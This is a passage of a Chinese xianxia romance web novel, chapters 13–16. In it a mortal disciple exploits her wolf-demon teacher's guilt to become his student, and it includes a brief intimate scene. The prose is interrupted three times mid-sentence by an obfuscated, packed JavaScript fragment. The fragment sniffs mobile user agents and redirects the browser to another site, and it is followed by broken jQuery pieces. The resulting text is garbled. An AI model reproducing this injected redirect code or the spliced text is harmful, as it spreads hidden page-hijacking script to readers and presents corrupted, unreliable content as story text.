银发披散,眼如柳叶,脸色苍白,鼻梁右侧赫然一个很小很小的血眼,要不是有血顺着流下来,看起来更像是一枚血红色的小痣。 这人竟然是—— 沈疏时? 13.第 13 章 梅满的思绪一片混乱。 那条狼怎么就消失了,沈疏时又为什么会突然出现,还不着寸缕,形容狼狈。 但很快她就摸着了一点头绪。 扑倒她的沈疏时更像是没有理智的怪物。 他的眼睛是深褐色,眼白却呈现出淡淡的琥珀色泽,大张的嘴里不住往外淌血,连舌尖都沥着刺目的血红,可也不妨碍她看清那尖利的牙。 琥珀色的眼睛,形似狼牙的牙齿,受伤的嘴,还有这偾张的攻击性…… 他是那头狼变成的? 这念头从梅满脑中一闪而过,惊得她心猛一沉。 所以……他是妖? 她晓得这世上有妖,可从小到大只见过一只,但眼下的情况也来不及她多想了。 沈疏时虽然化作人身,却和狼没什么两样。 他的手仍是尖利的兽爪模样,紧压在她的肩膀上,力气大到几乎要压碎她的骨头。 他大张着嘴,呲开森白的尖牙,要不是她及时抬起右手,拼命抵住他的脖颈,只怕他一下就能咬断她的脖子。 但他力气实在太大,没一会儿,梅满的手就开始酸麻到发抖,眼见着便要挡不住他了。 符,传讯符。 梅满的眼睛紧紧盯着他,拼命动着左手,试图撕开那张符。 但忽然间,她顿住了。 在这剑拔弩张之际,她看见沈疏时的眼睛缓慢变得透亮——他的眼白部分原本是蜜褐色,现在正逐渐褪色,一点点变得白净。 还有他的牙齿,也在缩短、变钝。 ——他在变成人。 梅满紧盯着他面部的变化,右臂已经抖到快要撑不住,被压得缓慢弯曲下去。 她剧烈喘息着,浑身紧绷到发僵,攥着传讯符的那只手也汗涔涔的。 快逃,快逃! 她浑身的骨与肉都在发出尖亢的嘶鸣,太阳穴鼓跳到阵阵发痛。 可她一动不动,思绪在撕掉传讯符和试一把中间来回拉扯。 再不逃很可能死在他手里。 但没有比这更好的机会了。 会死的,不像跳下去那样还有苟活的机会,一旦失败就可能真的会死。 可错过了怎么办,她到底还要等到什么时候。 拿断箭捅他啊!逃啊! 她的喘息更剧烈,呼气声大到惊人,整个人不受控制地颤栗。 不要逃,不要逃! 她的心跳得越来越快,魂灵都仿佛在颤抖、颤栗、嘶叫。 猛然间,梅满咬紧牙,卸去右臂的劲,弯曲着耷拉在胸前。 没了阻挡,沈疏时顺势俯身。 在他咬下来的瞬间,她狠下心侧过脸,双眼紧闭。 侧颈刺来尖锐的疼。 是他咬中了她的颈子。 尖齿轻易刺破皮肉,疼得她冷汗直冒,浑身都像水洗一样。 梅满攥紧那支断箭,几乎要下意识往他身上扎。 但就在她动手的前一瞬,那尖齿不再往里嵌,她清楚感觉到沈疏时的身体骤然发僵。 赌赢了。 她的内心叫一阵狂喜席卷。 是她赌赢了。 梅满的眼睛突突跳着,松开咬得发痛的牙齿,抬手作势推他,慌惧着失声叫道:“仙、仙师,疼!好疼,你——你怎么了,你到底怎么了!对不起,别杀我,别杀我!” 沈疏时倏然撑起身,他的眼睛已经恢复清明,里面满是惊愕,一张脸惨白如纸。 他上颚的伤口还在流血,淌在舌头上,顺着舌尖往下滴落。 那血滴在梅满脸上,与她流出的眼泪混作一团。 梅满再难控制地痛哭起来,手想要捂住被咬伤的颈子,可又不敢,颤抖着悬在半空。 她还在哭喊着“别杀我”,好似见到了什么最为可怖的景象。 “你……”沈疏时压抑地喘了声,眼中还压着惊慌,手却已经贴在她的伤口上,“别动,别动。” 梅满死命挣扎着,哀嚎,求饶,就像是害怕他下一瞬便会掐断她的颈子。 “别哭了,别哭,我不会杀你,不会伤害你,刚才仅是意外,现下已经好了。安静下来,别动,我来处理伤口。”沈疏时语无伦次地安抚,与他平时严肃正经的模样大相径庭。 梅满挣扎着,想要躲避他的触碰。 沈疏时显然不擅长宽慰人心,采用了最直接的手段,一把捂住她的嘴。 他慌了神,近乎胡言乱语:“嘘,嘘,别哭了,别喊,本君是要治疗你的伤口。” 梅满直直盯着他,没再挣扎,眼泪却不要钱似的往外流,蓄积在他的手掌边沿。 沈疏时好似被烫着,手不自觉颤抖了下。 他的另一只手贴上她的侧颈,温暖的灵力像一层水,覆盖在伤口上。 血很快就止住,痛感也逐渐消失。 梅满仍在哭,声音却渐渐小下去,仅是抽噎着。 “血已经止住了,伤口很快就会痊愈,你别哭,我松开手。”沈疏时有了点平时的严肃样子,他尝试着松开点手,见梅满没喊,这才彻底收回去。 也是这时,他后知后觉意识到自己没穿衣服,瞬间变了脸色,抬手用灵术化出套宽袍大袖。 不过他脸上有血,又披散着头发,仍有些狼狈。 沈疏时简单给口中使了个止血诀,问她:“你作何擅闯本君洞府。” 他尽量控制着语气,神情中有几分歉疚,可免不了也透出些许薄怒。 梅满撑着地坐起身,擦着眼泪说:“我来帮忙送药。” “送药?” “医谷的师姐有事要忙,我便帮她送药。”梅满从怀中取出包药,想站起身,腿却发麻,又坐了回去。 沈疏时伸手来拉她,她仅看一眼他的手,就慌忙移开视线,很害怕似的,随后撑着地飞快站起身,还不忘往后退几步。 他的表情僵了瞬,手顿在半空。 梅满一手捂着颈子上的伤——他粗略处理过,血止住了,伤口也好上很多,但还能摸着浅浅的咬痕,另一手递出药,低头不看他:“仙师,这是医谷的药。” 沈疏时接过,问:“你来送药,怎不给那守门的童子。” 梅满也不说话,只稍微抬起脑袋,瞥一眼那看不出原形的傀儡人。 沈疏时顺着她的视线望过去,也看见了。 他沉默一瞬,又问:“你……是什么时候进来的?” 梅满将头埋得更低,欲盖弥彰道:“没来多久,我什么也没看见。仙师我先走了,还得尽快去传送阵,免得师姐久等。” “不急,”沈疏时说,“你的伤口还没好全,里面有些许……些许妖毒,不好处理。我尚未完全恢复灵力,需等上片刻。待帮你疗好伤,再送你回去也不迟。” 梅满勉强挤出个笑:“还是不了,这两天我正好在医谷,吃的药里也有清毒丸,应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933414|191971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该可以解毒。” 许是察觉到她的抗拒,沈疏时不再提起此事,而是问:“如何去了医谷?” “就,有些事。”梅满含糊其辞道,“要是仙师没其他事,我就先走了。” “梅满,”但沈疏时又叫住她,“今天的事,不便与外人提起。” 她低着脑袋点头:“我知道,仙师不用担心,我不会告诉任何人。” 沈疏时看着她,眼神似乎有些挣扎。 梅满从他的沉默中觉察到什么,心底不屑嗤道:这些清高的正经人就是这样,连贿赂人心的事都做得温温吞吞,还要显得不是自己想这么做,而是有人强迫他。 等了好一会儿,她才听见他说:“今日你受了惊吓,是本君的过错。本君为你师长,便不讲那些虚情,你若有什么想要的东西,尽可说与我,聊表歉意。” 梅满想也没想道:“师姐提前再三嘱咐过我,说是不能擅闯仙师洞府。但我看门外无人,故此私自闯了进来。本来就是我坏了规矩,哪还能要仙师赔礼。” 沈疏时道:“伤了人,就合该赔礼。眼下要你说,着实慌急了些,不若待你回去后,再慢慢想。” 他又让她去里面小坐一会儿,她却不肯,脸色也更苍白。 见她怕成这样,他更愧疚,便让她稍等片刻,说要去炼丹房取药。 梅满点头应好,可等他前脚刚走,她就又跑了。 开玩笑,要是今天接了这药,她还怎么好提起收徒的话。 她扯出块帕子,先是嫌弃地摸了把脸,擦净脸上的血。 啧,脏死了。 她揣回帕子,想着回去就烧了,又取出另一条匆匆系在颈子上,藏起了那点咬伤。 路过靶场时,梅满又看了眼。 场地上已经没人了,那帮人不知道去了哪里,也不见秋鹤扬的影子。 她倒不怕他来找她,毕竟以前她就喜欢阳奉阴违,临时逃跑也是常有的事,他早该习惯了。 梅满径直去了传送阵,在那儿又等了将近半个时辰,师姐才姗姗来迟。 许是发觉她脖子上多了个东西,她还看了好几眼,不过她俩毕竟不怎么熟,就没有过问。 梅满想过沈疏时会来找她,但没想到这么快。 她刚回药庐,正从师姐那儿拿清毒丸,他就找上门来。 沈疏时已经收拾齐整,脸上也没了血,仅鼻梁旁边还隐约可见一血点,恰似枚小巧红痣。 他平时就一副不近人情的样,师姐见到他不免紧张,差点把手都塞梅满嘴里了。 幸好她躲得快,这才没吃着。 沈疏时只说找梅满有事,那师姐也是个老油条,立马听懂了他的意思,转身就出了药庐,说还要下山去拿灵草。 她一走,药庐里就剩下梅满和沈疏时两个人。 他神情严肃地问道:“本君说去取药,并非空话,怎就走了?” 梅满心道真是说笑,她差点就死了,那么一瓶药就想打发她,怎么可能。 但表面上自是要装模作样,她捂着脖子道:“仙师已经帮我疗了伤,我还弄伤了您,不好再拿东西。” 沈疏时眉头微蹙,他又问:“倘若寻常小病小伤,请医修施个治疗诀法便好,如何这药庐里养伤。可是……遇着了什么难事。” 梅满就开始装哑巴。 不光装哑巴,还要扭捏出一副长吁短叹的为难模样,好似藏着什么不好开口的心事。 14.第 14 章 沈疏时从这沉默中捕捉到一点微妙的异样。 他一向只关心修行,从未在意过旁人的情绪如何,眼下竟觉得有些棘手。 他问:“可服用了清毒丸?” 梅满点点头。 沈疏时便帮她把脉,末了道:“脉象平稳,余毒已清。伤口处理得如何。” 梅满说:“伤口也不怎么严重,简单处理下就可以了。” 沈疏时垂下眼帘,看见她系着条帕子,严严实实挡住了那点咬伤。 梅满注意到他的视线,下意识摸了把颈子,再次保证:“仙师尽可放心,我不会告诉其他任何人。” 她越是这样说,他就越歉疚。一颗正直的心是经不起这样的磋磨的,于是他又问道:“吃穿用度上可有短缺?” 在注意到他眼中快要溢出来的歉意时,梅满意识到时候到了。 她并不为即将为难一个好心人而感到愧疚,毕竟这关系着她的出路。 再三犹豫后,她说:“有一件事,说起来或许很唐突。” 沈疏时用眼神示意她开口。 梅满看他,又看地面,说:“今天师姐带我去内门院,是因为她要去找药君请教,我……我十分羡慕师姐。仙师问我有什么想要的,吃穿用度上,我并不短缺,金银钱财,对我来说也都是些身外物。但只有一桩,倘若仙师愿意,能否收我为徒?” 她越说声音越小,到最后药庐中寂静无声。 沈疏时没说话。 梅满紧盯着地面,感觉到那些砖缝像是在飘,在晃。 许久,她听见一声很轻很轻的叹息。 她的心一沉,又骤然紧缩。 梅满抬眸看他,却见沈疏时一脸平和地望着她,那神情中没有往日的厉色,反而令人更不舒坦。 “你是凡人。”他尽量用温和耐心的语气,仿佛是在解疑答惑,“抛开修仙的根骨不谈,凡人这一生,不过短短几十年、上百年而已。但对修仙者而言,研究一道灵术,或用数十年,一次闭关都可能耗去数百年。梅满,在外门院所学的一切,已经足以让你这辈子安身立命。即便我收你为徒,也并无多少用处。” 她知道。 她就知道。 虽然梅满早料到他不会同意,可还是免不了躁怒难过。她紧咬着牙,万般忍耐,才堪堪忍住戾气和泪水。 “可我想要专修灵药一门,在外门院要学的太多。仙师都说凡人寿短,不应该用在更值得的地方吗?”她克制着情绪,试图说动他。 “此事不必再说了。”沈疏时道,“本君收徒一向严苛,不可随意坏了规矩。你若遇上难题,尽可随时问我。” 梅满越听越烦,恨不得直接拿他妖身的事威胁他,再不济,拿他不穿衣服到处乱跑的事强迫他答应也行。 但这完全是下下策,一个弄不好,还可能完全断送了她的前路。 于是她紧攥着拳头道:“仙师说得也有道理,是我逾矩了,还为难了仙师。” 沈疏时没再多说,只让她不要多想,又帮她检查了下身体,确定妖毒完全清除干净了,才勉强放心。 走前他又叮嘱她注意修养,下次再来看她。 梅满颔首应好,拖着条略跛的腿送他。 他的视线在她腿上停驻片刻,转身离开。 沈疏时施了个移步诀,便径直回了洞府。 他的洞府鲜有人来,先前梅满在时,虽然只待了一小会儿,这洞府中却有些响动。她一走,里面就又变得万分安静。 沈疏时目不斜视,缓行在青石板路上。 他本想处理了那具残破的傀儡,却无意间看见那半支断箭。 箭上凝固着血,下端略微偏折,足见梅满那时用了多大的力气攥住它。 上颚处的刺痛感越发尖锐,沈疏时抿紧唇。 这还是头一回,他竟然在化成妖形时撞上了凡人。他自认为犯了大错,因此没有过多处理伤口,以作惩戒。 在他印象中,梅满一直是个寡言少语的沉静性子,也不知受了多大惊吓,才会那样失态。 也难为她有这样的魄力,能对付一只不知道比她强大多少的妖。 沈疏时望着那断箭,许久,终是步子一转,又回了医谷。 他回去时,恰好撞上一个医修。 那医修正在收晒好的草药,看见沈疏时,连忙躬身施礼。 “不必。”沈疏时问他,“本君闭关多日,不曾过问外门院事宜。这些时日,可有外门院弟子来这医谷?” 因他常来医谷过问这些,那医修也不惊讶,一一尽数说来,无非是哪个弟子染了风寒,又或有什么小病小伤。 沈疏时听尽,却不见他提起梅满。 末了他问:“我看梅满也在医谷,她是什么伤症?” “这……”医修面色为难,半晌才说,“沈仙师,梅师妹的伤不是我处理的,所以这件事我也不是很清楚,怕说错。我只知道她是被柴群推下了楼,人都差点摔没了。” “柴群?”沈疏时眉头紧皱,“外门院的柴群?” “对,就是他,竟然想在戒律堂害人,反而自己遭了报应,如今尸首都被带回去了。” 沈疏时脸色更为难看,他闭关的这些时日,到底都发生了些什么事。 他不再追问,弟子间传言太多,得来的消息也真假掺半,索性径直去了戒律堂,也好问个究竟。 那方,沈疏时走后,梅满就忍不住攥起枕头,狠狠砸在床上。再顺手抓起秋应岭送的瓶子,正要砸出去,却想到这瓶子值不少钱,又气冲冲放了回去。 真是,穷鬼就是这样,连发泄情绪都只敢挑便宜的,不值钱的东西砸。 这种不甘心的情绪一直持续到晚上,她枯坐在床边,攥到两只手都刺痛到发麻了。 直到谢序照常来送柴的时候,她的眼珠子才动一下。 他看见她时愣了愣,问她:“发生了什么事吗?” “什么?” “怎么哭了?”他放下柴木,走到她面前。 梅满摸了把脸,这才发现不知道什么时候,脸上已经是湿冷冷的一片。 她推开他伸过来的手,眼泪越流越多,几乎要把衣襟都打湿。 谢序有些发愣,又有些慌神。 梅满直直望着他,问:“难道我生下来,从生下来到死,就要一直被否定吗?” 谢序怔住,眼神中多了些她看不分明的愕然。 梅满低下脑袋,仿佛在自言自语:“为什么别人轻而易举就能到手的东西,生来就有的东西,我费了这么多力气也仍旧得不到。” 她险些要沉溺在这深厚的自厌情绪中,反反复复想着,为什么她都这么努力了,却还是这样。 在药庐的这些天就像是幻梦,很快梦就要醒了,难道她又要回去,又要恐惧着下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢序也会像这样吻她,舔着她的唇瓣细细地吮,手也不会空闲,让她坐他手上。 他早已不是小时候那样金枝玉叶的少爷,一双手被磨砺得生了薄茧,略显粗糙,就着一处碾磨时,会压出钝钝的痒。 她一旦陷在这上不上下不下的境地里,就不爱与他接吻了,脑袋埋在他肩上,连喘息都压抑。 谢序便会用另一只手压着她的背,顺着脊骨缓慢地摩挲,试图抚平那些微小的颤栗。 但现下是在这仙府的药庐,梅满被挑起兴,却晓得场合不对,没一会就别开脸,既是为着换气,也打算就此停下。 谢序亦清楚,平缓着略促的呼吸。 “叩——” “叩——” 有人敲门。 梅满眉心一跳,循声望过去。 下一瞬,师姐的声音从外传来:“梅师妹,有人找你。” 找她? 这么晚了,谁能来找她,总不可能是秋应岭吧,下午傀儡仙仆来送饭的时候还说,他还有个几天才能回来呢。 可紧随而至的声音,让梅满觉得还不如是秋应岭来找她—— “小梅,快些开门。”嗓音轻快爽朗,是秋鹤扬。 15.第 15 章 梅满忙推一把谢序。 他也听出是秋鹤扬的声音,眉头稍蹙,又抿了下微肿的嘴,装出副不认识她的样子,转身去了柴垛前,捡起块柴放在了最上面。 梅满拉开门,师姐与秋鹤扬站在外面。 师姐手里还攥着记录灵草采买的簿子,她说:“梅师妹,秋师弟说想来看一看你。他不认路,刚巧撞上我,就带他过来了。” 这段时间她也见过秋应岭来看梅满,倒不奇怪秋鹤扬会来这儿。她还操心着灵草采买的事,说完便走了。 秋鹤扬脸上带笑,声音小得像说悄悄话:“这两天兄长不在,我才来看你。他要是回来,你可别提起这事儿。” 梅满点头应好,心底却暗嗤:还这件事,她根本就不会提起他这号人! 秋鹤扬进门时看见了正在码柴的谢序,又瞥一眼刚才还紧闭着的房门,再看向他。 “咦,你是哪位师弟,以前没见过,怎么也在这里。你是小梅的朋友,还是有其他事?”他很擅长装出副容易交好的样子,张扬的眉眼笑盈盈的,看起来没有丝毫攻击性。 和他比起来,谢序简直沉默得像木头雕的。 谢序原本不想搭理他,可还是应了声:“在杂役院,此次是来送柴。” “哦,难怪没见过。这倒春寒的劲儿还没散,医谷又常搭火,是有些废柴木。”秋鹤扬神色不改,笑笑,“那能不能劳烦你先出去会儿,我有些话要和她说。” 谢序的眉眼间掠过一抹不悦,片刻又收敛。他“嗯”了声,放下东西出了门,却没走远,而是静悄悄站在门外。 梅满在旁边听得一清二楚,忍不住在秋鹤扬看不见的地方偷偷翻了个白眼。 又来了,自以为是在好声好气地打商量,其实要是对方不答应,他保管能把人直接踹出去。 谢序一走,秋鹤扬就把门带上了。 他看向梅满,后者立马收拾好表情,仍有些郁沉,但至少不会带来什么麻烦。 秋鹤扬环顾一周,他收起脸上的笑,就显得有些冷漠了。 “小梅,”他问,“你怎么会来这医谷。” 梅满不想多说,含糊应道:“有点不舒服,就来看看。” 常说一条狗也有通人性的地方,秋鹤扬也难得有那么零星几点好处,其中一个就是不刨根问底。她不愿说,他就不会多问。 “要有什么事,就与我说。”他稍顿,问她,“白天怎么跑了?” 梅满低着头道:“等了半天你没回来,我就先走了。” “可我只去了半刻钟不到。” “……” 一时间,房中死寂无声。 半晌梅满才挤出一句:“可能是因为我没有事做,所以才觉得时间过得格外慢。” 秋鹤扬笑出了声。 他忽往前一步,抬起右手攥拳袭向她。 梅满吓了一跳。 但以前在秋府他就喜欢突然这样,因此下一瞬她便出左掌挡住,再横过右臂往上猛一抬,打开他的胳膊。 他又飞快动用左手,五指并拢,指尖直冲她心口而来,是颇为狠辣阴毒的招式。 她往后跃跳两步,堪堪避过。 他的指尖擦过她的衣裳,划出道浅浅的痕。下一瞬,他就拢紧拳,倏地往前一打。 梅满侧身避让,顺势擒住他的胳膊,再抬腿朝他腹部踢去。 秋鹤扬以手掌住她的膝盖,手指稍一拢,就捏紧了。 梅满突然看他后面,喊了声:“大公子。” 他正玩得起兴,陡听见这声,笑意稍凝,下意识回头。 房门紧闭着,哪里有人。 他反应过来被她耍了一道,迅速偏回脑袋。 可已经晚了,她趁机横过手掌,劈打在他的颈子上。 侧颈袭上痛意,秋鹤扬轻嘶一声,说:“小梅,怎的耍阴招?” 梅满说:“用脑子打不也是打?怎么就叫耍阴招。” 刚说出来她就后悔了。 每次玩这种她就容易得意忘形,这和陪东家玩射箭,结果把射箭用的果子放在了东家脑袋上有什么区别。 但他总不可能因为这种小事就打杀她吧。 梅满闭嘴垂眸,浑身上下都透出股死气沉沉的窝囊劲儿。 秋鹤扬竟真没放在心上,反而说:“小梅,这样也好,还要继续用心练,如此往后修仙了,才能打好底子。” 他这话可能是为她好,却刺得她心里疼,梅满克制不住翻涌而上的烦躁,说:“我是凡人,修不了仙,指不定哪时候就死了。” “怎么会呢满满。”秋鹤扬捧住梅满的脸,叫她抬起头来,他笑吟吟望着她,说得坦率又自然,“我们是朋友啊,怎么可能让你一个人孤单地死掉呢?” 梅满脑子一抽,问他:“你要抽掉灵根变成凡人?” 秋鹤扬哈哈大笑两声:“你可真有意思,小梅,自然是想法子让你也修仙了。” 他说得如此笃定,仿佛下一瞬就能拿出宝贝来让她脱胎换骨。 可她不信。 不是不信天底下有这样的宝贝,而是不信他。她怎么可能把这样要紧的事,赌在一个轻飘飘到不知真假的承诺上。 梅满垂下眼帘,回避着他的视线。 他似乎并不在意,又问她:“这段时间在外门院,有没有交到其他朋友?” “没有。”梅满又想起柴群,不由得阴沉下脸,“我又不是来交朋友的。” “可也得有个说话的人啊,不然一个人该多无聊。” “也还好。” “刚才那个杂役,你不认识?” “不认识。”梅满顿了下,补充一句,“我也没仔细看他。” “杂碎而已,用不着仔细看。”秋鹤扬满不在乎道,“不过小梅,要是有想来往的朋友,记得告诉我。作为朋友,也能替你把把关,省得沾惹上一些贱胚子。” 又是朋友,朋友! 梅满烦他整天把“朋友”两个字挂在嘴边,她要真把他当朋友,第一件事就是薅空他的家底,再拿他的名头出去胡作非为,最后来上一句“有意见就去找我朋友秋鹤扬”。 想到这儿她舒展开眉头,忍不住乐呵,仿佛真这样坑到了他。 秋鹤扬没在这儿待多久,他说:“老东西出关了,他管得严,不喜我们在外面晃荡太久,得走了。” 梅满心不在焉地“嗯”了声。 他口中的“老东西”是他师尊,她不晓得他师尊究竟有多大年纪,又老成了什么样,但秋鹤扬常这么在背地里叫他。 人前倒是一句一个“师尊”,两句一个“前辈”。 人模狗样的。 秋鹤扬出去时,余光瞥见守在药庐外面的谢序。 他盯他半晌,忽然笑说了句:“你是几时进的杂役院?” 谢序不耐烦理他,生硬挤出几个字:“前不久。” “哦,那也算是师弟了。”秋鹤扬看着他,那双眼睛明亮有神,很容易让人生出种他十分真诚的错觉,“脸长得不错嘛,还这样勤快,竟然舍得放你在杂役院。刚才多谢,劳你在外面吹了阵冷风,你忙。” 他说完就走了,谢序默不作声盯着他的背影。 翌日,谢序照常来送柴木。 可刚到医谷,负责杂扫的医修就说:“嗳,小师弟,你把柴放这儿吧,不用送进去。” 谢序望一眼医谷里面:“往常是送去柴房,还有各处药庐。” 医修道:“以后用不着了,有人往咱们医谷送了批傀儡来,专门负责运送东西。那品相,一看就知道值不少灵石。你呀,以后也犯不着辛苦推柴来,会有傀儡去杂役院的。” 谢序还想说什么,但四周的灵力突然开始扭曲、涌动,变得十分混乱。那感觉格外压抑,好像有沉甸甸的力量压在了他身上,让他说不出话来。 那医修也察觉到了,扫地的动作顿了下。 下一瞬,半空裂开了一条“缝隙”。 似乎有人从中走出,却难以看清他到底是如何出来的,更捕捉不到他的形貌。 不过短短一瞬,缝隙倏然合拢,灵力恢复平稳。 来人银发浅眸,神色冷峻,周身覆着一层浅浅灵力,似披月晖。 正是沈疏时。 那医修认出他了,但由于对方的威压过于强大,他连脑袋都不大抬得起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943552|191971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,只低着头慌忙唤了声:“仙君。” 谢序一言不发。 沈疏时没有看他二人,也未应声,径直往里去。 他找到了梅满。 没有寒暄,也没有关切,而是开门见山道:“本君已经查清楚柴群一事,梅满,你休要隐瞒。” 他这么严肃,表情又冷漠,她险些以为他是来问责的。 她也不怕,平静看着他:“仙师想要问我什么?” 可怪的是,他来时那么坚定,冷静,好像已经准备好了说辞。但真要开口的时候,又踌躇起来。他静静思忖着,也在观察她。 片刻他道:“本君知晓你与他有些龃龉,却不清楚已经闹到这种地步,是我失了职。可有一桩,本君不解。” “什么?” 他垂下眉眼,忽然放轻了声音,问她:“那戒律堂弟子说,去救你们时,你伤得也重,却要他们先救柴群。” 梅满暗嗤:废话,要不是这么假惺惺地做场戏,怎好打消他们的顾虑。 沈疏时又道:“你仅是个凡人,他虽中了蝎毒,却有些许修为护身。” 梅满本想把先前那套说辞搬出来,什么他们虽然吵架了可依旧是好朋友啦,或者当时她还醒着,他却没意识啦,但当对上他的眼神时,她顿住了。 那双浅棕色的眼眸竟透出些异于平常的温和。 她还有些混沌,模糊,意识不清明,无法理解眼下是什么动摇着他,使他的眉目柔和下去,不像先前那样凌厉严肃。 可直觉告诉她,她必须隐瞒些什么。 于是梅满打消了假装友好,为朋友痛心惋惜的主意,转而说:“虽然有些矛盾,可到底是关乎生死的大事,我不能眼睁睁……还有,我有些怕。” “怕?” 梅满点点头,她低垂下眼帘,紧攥住衣摆,嗫嚅着说:“他常在我面前说,柴家势大,和外门院其他同门比起来不相上下。如果,万一,万一他死了,柴家找我麻烦该怎么办。” 沈疏时不言不语,似乎在无声鼓励她继续说下去。 梅满深吸一口气,道:“他进惩戒堂的时候,说只要能出来,就一定整死我。还故意把我叫去,让我亲眼看着他就算进了惩戒室,也照样过着吃香喝辣的好日子。我……我实在不敢赌。” 她又没说假话,姓柴的的确这样威胁过她,只不过眼下她多忸怩出了一点儿担惊受怕的姿态罢了。 “本君知晓你是借秋家进宗,虽从不借秋家的势,也一向勤勉,但这等事关性命的大事上,如何不求秋家?” “秋家愿送我进宗,已经是大恩了,不敢再奢求其他。况且要是做得不好,反而是为秋家添麻烦。” 说完,梅满就再不出声。 过了许久——直到她的后颈子都有些发僵,她听见沈疏时轻轻叹了口气。 他说:“你是个善良的好孩子。” 梅满差点没忍住表情。 要不是还得装装样子,她真想看看他是摆出怎样一副神态说出这话的。 沈疏时又道:“先前是本君思虑不周全,于吃穿用度上,再多钱财也无用。本君倘若拿金银作赔礼,乃是折辱了你。” 那点模糊不清的猜测逐渐明晰了。 原来他是个面冷心善的圣人脾性。 沈疏时道:“先前本君说你是肉体凡胎,在外门院修行足矣。如今看来,你却有副好心性。倘若你还愿意,便随我修行十年,一则本君伤你在先,此为赔礼。再一者,往后你也无需整日担惊受怕。十年后你再下山去,安身立命绰绰有余。” 原来比起纯粹的补偿,他更愿意袒护一个善良,柔弱又坚毅的可怜人。 梅满的表情快要扭曲。 这高高在上的软善,于她而言简直和酷暑烈日无异,好似将她的不堪卑劣全都照得清清楚楚,灼得她浑身刺痛,心底也拧巴得不舒坦。 可她还没忘记她的目的,于是她倏然抬起脑袋,露出欣喜又担忧的表情:“仙师果真要收我为徒吗,仙师,切莫拿这种话唬我。” “自不作假。”沈疏时用灵力化出块令牌,递与她,“待离开医谷,你便可拿这令牌,去往我洞府。” 16.第 16 章 梅满一晚上没睡着。 一整晚,她就这么反反复复摸着那块令牌,比摸金子还虔诚。 要不是师姐说还要检查下浑身经脉和骨头的愈合情况,她恨不得现在就飞去沈疏时的洞府。 第二天,梅满顶着乱糟糟的头发和淡淡的黑眼圈,迎来了外门院的两个修士。 是先前柴群针对她时,和他吵起来的那两个女修。 今时不同往日,概是心情好,梅满也有耐心看她俩到底长什么样了。 左边的扎着双髻,头发上坠着两颗小铃铛,鹅蛋脸,杏眼细眉。她们穿着一模一样的宗服,但她的衣服上系着不少稀奇古怪的小玩意儿。 右边的头发高挽,领前和袖子的盘扣都扣得很仔细,柳眉凤眼,表情冷冰冰的。 左边女修说:“梅道友,我们来给你送东西。” 梅满自然不会以为她们是来送礼的,立马警惕问道:“送什么?” 谁知她竟然从袖子里掏出一簿册子:“这是这些天每门功课安排下来的任务。” “哦。”梅满接过簿子一看,上面是一排排隽秀小楷,详细记录了这些天前辈们的授课情况,还有详细批注。 她以为是哪位前辈安排她们来的,正要说如今这些她都不需要了,却听见那女修道:“我的字不算好看,梅道友你将就着用吧,要是有哪里写得不清楚,可以问我们。” 梅满一怔,抬头,隔着略长的额发看她:“这是你抄的?” “对啊。”她说得如此理所应当。 “为什么?”梅满蹙眉,她好像没有请求她帮忙做这些事。 “啊?为什么?”这问题似乎也把那女修给难倒了,她愣了愣说,“这些天修炼你都不在啊,如果不补,会落下不少进度的。” 梅满更不理解了。 她有私房钱,可就那么点儿,对那女修那样的有钱小姐来说,可能还抵不上一月的月钱。她也没显露过什么价值,她为什么要帮她。 梅满想得头疼,干脆直接问她:“你想要什么?” 那女修更懵了,一双杏眼望着她,显得有些呆。 另一个女修显然更机警,她听出梅满话里的意思,微微蹙眉,声音同她这人看起来一样冷:“她是觉得你功课学得不错,如果因为受伤落下了,很可惜,才好心帮你,没其他打算。” 梅满察觉到这人语气里的不满,大概是在为朋友抱不平,觉得对方怜舍了她一点好意,她就该感恩戴德地受着。 嘁,又不是只有她俩才有朋友,她也—— 她突然沉默了,搜肠刮肚想了半天,脑子里也愣是没挤出一个名字。 朋友。 梅满的脑中一片空白,勾勒不出任何一副具体的形貌。 如果说朋友是像她俩这样,总是手挽着手,做什么都走在一块儿,不用害怕说的话会惹恼对方,知道彼此的底细和想法,会为了对方说话,凑在一块儿哪怕不说些打趣的话,也能十分舒服自在。 那似乎她没有这种东西,也从没想过是否需要。 大概是不需要。 如果她也像她俩这样,和某个人手挽手,那要怎么挤过一条独木桥呢? 梅满敛下心神,把册子还给她:“多谢,但我不需要。” 那女修愣了下,她想到什么,又将册子往前一递,笑盈盈道:“你别有压力,这也不是平白无故地送给你。你可以翻一翻,而且这些功课都是你擅长的,说不准还能纠错呢。” 梅满垂下眼帘,看见书皮上写着规规矩矩的三个字—— 阮溪桐。 应该是她的名字了。 入宗的这一个月里,梅满不知道几个修士的名字。她的时间太宝贵,与其记住一个名字,倒不如把这心思花在背诵灵药药方上。 “不用。”她再次回拒,“以后我也用不上这些了。” 那两个女修没听懂是什么意思,对视一眼。 